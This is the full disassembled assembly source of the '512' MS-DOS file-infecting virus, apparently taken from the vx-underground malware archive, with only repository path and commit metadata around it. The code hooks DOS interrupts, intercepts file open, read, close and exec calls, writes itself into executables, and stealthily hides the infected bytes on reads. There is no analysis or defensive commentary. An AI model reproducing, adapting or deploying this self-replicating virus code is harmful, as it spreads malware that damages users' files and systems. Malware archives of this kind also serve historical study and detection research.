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MalwareSourceCode/MSDOS/0 - 9 Index/Virus.MSDOS.Unknown.512.asm
vxunderground 4b9382ddbc re-organize 
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2022-08-21 04:07:57 -05:00

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8.8 KiB
NASM
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;PROGRAM NAME: 512.com
;-------------------------------------------------
H00100: MOV AH,30h
INT 21h ;DOS Version#
MOV SI,0004h
MOV DS,SI ;SEGMENT OPERATION
CMP Byte Ptr AH,1Eh
LDS AX,[SI+08h]
JB H0011B ; . . . . . . . . .
MOV AH,13h
INT 2Fh ;Print Spooler Ctrl
PUSH DS ;SEGMENT OPERATION
PUSH DX
INT 2Fh ;Print Spooler Ctrl
POP AX
POP DS ;SEGMENT OPERATION
H0011B: MOV DI,00F8h
STOSW
MOV AX,DS
STOSW
MOV DS,SI ;SEGMENT OPERATION
LDS AX,[SI+40h]
STOSW
CMP AX,0121h
MOV AX,DS
STOSW
PUSH ES ;SEGMENT OPERATION
PUSH DI
JNZ H00139 ; . . . . . . . . .
SHL Word Ptr SI,1
MOV CX,0100h
REPZ
CMPSW
H00139: PUSH CS ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
JZ H00187 ; . . . . . . . . .
MOV AH,52h
INT 21h ;INDEF FUNCTION
PUSH ES ;SEGMENT OPERATION
MOV SI,00F8h
SUB DI,DI
LES AX,ES:[BX+12h]
MOV DX,ES:[DI+02h]
MOV CX,0104h
REPZ
MOVSW
MOV DS,CX ;SEGMENT OPERATION
MOV DI,0016h
MOV Word Ptr [DI+6E],0121h
MOV [DI+70h],ES
POP DS ;SEGMENT OPERATION
MOV [BX+14h],DX
MOV DX,CS
MOV DS,DX ;SEGMENT OPERATION
MOV BX,[DI-14h]
DEC Byte Ptr BH
MOV ES,BX ;SEGMENT OPERATION
CMP DX,[DI]
MOV DS,[DI] ;SEGMENT OPERATION
MOV DX,[DI]
DEC DX
MOV DS,DX ;SEGMENT OPERATION
MOV SI,CX
MOV DX,DI
MOV CL,08h
REPZ
MOVSW
MOV DS,BX ;SEGMENT OPERATION
JB H00197 ; . . . . . . . . .
INT 20h ;TERMINATE normally
;-------------------------------------------------
H00187: MOV SI,CX
MOV DS,[SI+2Ch] ;SEGMENT OPERATION
H0018C: LODSW ; . . . . . . . . .
DEC SI
TEST AX,AX
JNZ H0018C ; . . . . . . . . .
ADD Word Ptr SI,+03h
MOV DX,SI
H00197: MOV AH,3Dh
CALL H001B0 ; . . . . . . . . .
MOV DX,[DI]
MOV [DI+04h],DX
ADD [DI],CX
POP DX
PUSH DX
PUSH CS ;SEGMENT OPERATION
POP ES ;SEGMENT OPERATION
PUSH CS ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
PUSH DS ;SEGMENT OPERATION
MOV AL,50h
PUSH AX
MOV AH,3Fh
RETF
;-------------------------------------------------
H001B0: INT 21h ;INDEF FUNCTION
JB H001CD ; . . . . . . . . .
MOV BX,AX
H001B6: PUSH BX
MOV AX,1220h
INT 2Fh ;Print Spooler Ctrl
MOV BL,ES:[DI]
MOV AX,1216h
INT 2Fh ;Print Spooler Ctrl
POP BX
PUSH ES ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
ADD Word Ptr DI,+11h
MOV CX,0200h
H001CD: RET
;-------------------------------------------------
H001CE: STI
PUSH ES ;SEGMENT OPERATION
PUSH SI
PUSH DI
PUSH BP
PUSH DS ;SEGMENT OPERATION
PUSH CX
CALL H001B6 ; . . . . . . . . .
MOV BP,CX
MOV SI,[DI+04h]
POP CX
POP DS ;SEGMENT OPERATION
CALL H00211 ; . . . . . . . . .
JB H0020A ; . . . . . . . . .
CMP SI,BP
JNB H0020A ; . . . . . . . . .
PUSH AX
MOV AL,ES:[DI-04h]
NOT Byte Ptr AL
AND AL,1Fh
JNZ H00209 ; . . . . . . . . .
ADD SI,ES:[DI]
XCHG SI,ES:[DI+04h]
ADD ES:[DI],BP ;SEGMENT OPERATION
CALL H00211 ; . . . . . . . . .
MOV ES:[DI+04h],SI ;SEGMENT OPERATION
LAHF
SUB ES:[DI],BP ;SEGMENT OPERATION
SAHF
H00209: POP AX
H0020A: POP BP
POP DI
POP SI
POP ES ;SEGMENT OPERATION
RETF 0002h
;-------------------------------------------------
H00211: MOV AH,3Fh
H00213: PUSHF
PUSH CS ;SEGMENT OPERATION
CALL H0023A ; . . . . . . . . .
RET
;-------------------------------------------------
CMP Byte Ptr AH,3Fh
JZ H001CE ; . . . . . . . . .
PUSH DS ;SEGMENT OPERATION
PUSH ES ;SEGMENT OPERATION
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
CMP Byte Ptr AH,3Eh
JZ H0023F ; . . . . . . . . .
CMP AX,4B00h
MOV AH,3Dh
JZ H00241 ; . . . . . . . . .
H00232: POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POP ES ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
H0023A: JMP Far CS:[H00004h]
;-------------------------------------------------
H0023F: MOV AH,45h
H00241: CALL H001B0 ; . . . . . . . . .
JB H00232 ; . . . . . . . . .
SUB AX,AX
MOV [DI+04h],AX
MOV Byte Ptr [DI-0Fh],02h
CLD
MOV DS,AX ;SEGMENT OPERATION
MOV SI,004Ch
LODSW ; . . . . . . . . .
PUSH AX
LODSW ; . . . . . . . . .
PUSH AX
PUSH [SI+40h]
PUSH [SI+42h]
LDS DX,CS:[SI-50h]
MOV AX,2513h
INT 21h ;Set Intrpt Vector
PUSH CS ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
MOV DX,0204h
MOV AL,24h
INT 21h ;Write Random Rcds
PUSH ES ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
MOV AL,[DI-04h]
AND AL,1Fh
CMP AL,1Fh
JZ H00284 ; . . . . . . . . .
MOV AX,[DI+17h]
SUB AX,4F43h
JNZ H002C3 ; . . . . . . . . .
H00284: XOR [DI-04h],AL
MOV AX,[DI]
CMP AX,CX
JB H002C3 ; . . . . . . . . .
ADD AX,CX
JB H002C3 ; . . . . . . . . .
TEST Byte Ptr [DI-0Dh],04h
JNZ H002C3 ; . . . . . . . . .
LDS SI,[DI-0Ah]
DEC AX
SHR Byte Ptr AH,1
AND AH,[SI+04h]
JZ H002C3 ; . . . . . . . . .
MOV AX,0020h
MOV DS,AX ;SEGMENT OPERATION
SUB DX,DX
CALL H00211 ; . . . . . . . . .
MOV SI,DX
PUSH CX
H002AF: LODSB ; . . . . . . . . .
CMP AL,CS:[SI+07h]
JNZ H002DD ; . . . . . . . . .
LOOP H002AF ; . . . . . . . . .
POP CX
H002B9: OR Byte Ptr ES:[DI-04h],1Fh
H002BE: OR Byte Ptr ES:[DI-0Bh],40h
H002C3: MOV AH,3Eh
CALL H00213 ; . . . . . . . . .
OR Byte Ptr ES:[DI-0Ch],40h
POP DS ;SEGMENT OPERATION
POP DX
MOV AX,2524h
INT 21h ;Set Intrpt Vector
POP DS ;SEGMENT OPERATION
POP DX
MOV AL,13h
INT 21h ;Write Random Rcds
JMP H00232
;-------------------------------------------------
H002DD: POP CX
MOV SI,ES:[DI]
MOV ES:[DI+04h],SI ;SEGMENT OPERATION
MOV AH,40h
INT 21h ;Write File/Device
JB H002BE ; . . . . . . . . .
MOV ES:[DI],SI ;SEGMENT OPERATION
MOV ES:[DI+04h],DX ;SEGMENT OPERATION
PUSH CS ;SEGMENT OPERATION
POP DS ;SEGMENT OPERATION
MOV DL,08h
MOV AH,40h
INT 21h ;Write File/Device
JMP Short H002B9
;-------------------------------------------------
IRET
;-------------------------------------------------
ADD SS:[BX+SI],AL ;SEGMENT OPERATION

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